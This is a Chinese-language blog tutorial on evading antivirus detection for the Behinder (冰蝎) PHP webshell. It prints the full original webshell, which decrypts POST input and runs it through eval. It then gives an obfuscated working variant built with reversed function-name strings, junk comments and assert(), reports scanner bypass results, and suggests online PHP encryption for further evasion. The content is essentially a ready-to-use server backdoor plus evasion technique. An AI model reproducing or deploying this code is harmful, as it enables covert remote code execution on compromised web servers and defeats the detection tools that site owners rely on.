技巧 冰蝎webshell免杀

因前段时间退出了内网的学习,现在开始复习web方面的漏洞了,于是乎,开始了挖洞之旅,当我像往常一样上传冰蝎的webhsell时,发现冰蝎的马子居然被杀了.......于是便有了该文章.....
先说一下目前的免杀情况:
D盾,河马等都零警报,
vt全绿,
阿里云webshell查杀安全,
百度webshell查杀安全,
其他等等....
目前仅测试了这些....其他的自行测试 。
 
文章开始:
首先看一下冰蝎的原版马子:
<?php@error_reporting(0);session_start();$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond$_SESSION['k']=$key;$post=file_get_contents("php://input");if(!extension_loaded('openssl')){$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i++) {$post[$i] = $post[$i]^$key[$i+1&15];}}else{$post=openssl_decrypt($post, "AES128", $key);}$arr=explode('|',$post);$func=$arr[0];$params=$arr[1];class C{public function __invoke($p) {eval($p."");}}@call_user_func(new C(),$params);?>看一下原版的查杀率:

技巧 冰蝎webshell免杀

文章插图
 
再看一下百度的接口:
技巧 冰蝎webshell免杀

文章插图
 
阿里:
技巧 冰蝎webshell免杀

文章插图
 
河马,D盾:
技巧 冰蝎webshell免杀

文章插图
 
基本上都被杀软标记了....
那么我们想用冰蝎的话,就必须要免杀了
 
先说一下免杀的思路:
对于静态免杀,主要便是混淆代码了,base64,hex,异或等等....
反正思路要扩展起来,可能很多师傅是玩ctf的,我没玩过.....像里面的凯撒密码....等等各种密码学的东西其实可以搬到免杀的思路上来,但是像base64等等....可能早就被杀软计入特征库了,所以用base64等简单的加密,对webshell免杀可能不太好使了,
 
那有没有简单些的方式达到静态免杀呢?
 
答案是肯定的....
比如php的字符串逆置函数strrev(),可以将代码颠倒顺序,再在webshell里面加入注释,变量名称改改....使用一些php的魔术函数....以达到绕过杀软的静态防护 。
我们将webshell放到d盾查杀....
 
看看到底是哪部分代码导致被查杀....[做个免杀的师傅应该都知道特征码定位技术,定位特征码,修改特征码绕过杀软] 。
这里各位师傅自己尝试吧,建议二分法尝试,或则根据自己的经验判断 。
我这里对下面部分代码进行逆值颠倒:
<?php/*我啥也不知道.....sjfasaadssadadadadad*/session_start();$ok="1989870a9753c7b3";//cwk$_SESSION['k']=$ok;$zyq=(strrev("stnetnoc_teg_elif"))(strrev("tupni//:php"));$love=15;if(!extension_loaded(strrev('lssnepo'))){/*我啥也不知道.....sjfasaadssadadadadad*/$t=strrev("edoced_46esab");$zyq=$t($zyq."");/*我啥也不知道.....sjfasaadssadadadadad*/for($i=0;$i<strlen($zyq);$i++) {$o= $ok[$i+1&$love]^$zyq[$i];$zyq[$i] =$o;}}else{$zyq=(strrev("tpyrced_lssnepo"))($zyq, "AES128", $ok);}$arr=explode('|',$zyq);$func=$arr[0];/*我啥也不知道.....sjfasaadssadadadadad*/$suansuan=$arr[1];class MOL{public function __construct($p){$a=null;$l=null;/*我啥也不知道.....sjfasaadssadadadadad*/assert("/*#`|W$~Q*/".$l.$p.$a.""."/*#`|W$~Q*/");}/*我啥也不知道.....sjfasaadssadadadadad*/}@new MOL($suansuan);?>/*我啥也不知道.....sjfasaadssadadadadad*/ 
这里就是简单的改了一下变量名称,增加了一些注释,还有魔术函数....
可以看一下D盾,河马过了
技巧 冰蝎webshell免杀

文章插图
 
至于百度那个还有阿里云.....:
技巧 冰蝎webshell免杀

文章插图
 

技巧 冰蝎webshell免杀

文章插图
 
果然它们还是很强....
怎么办呢?
到这一步,对于我这种小白而言,已经穷途末路了.....
但是我们还可以借助外部力量....
之前代码审计的时候,发现很多代码都进行的加密...但是程序依旧可以运行,所以我们可不可以对我们的webshell进行加密呢?
当然肯定的....随便在网上找找免费的加密网站...
https://enphp.djunny.com/


推荐阅读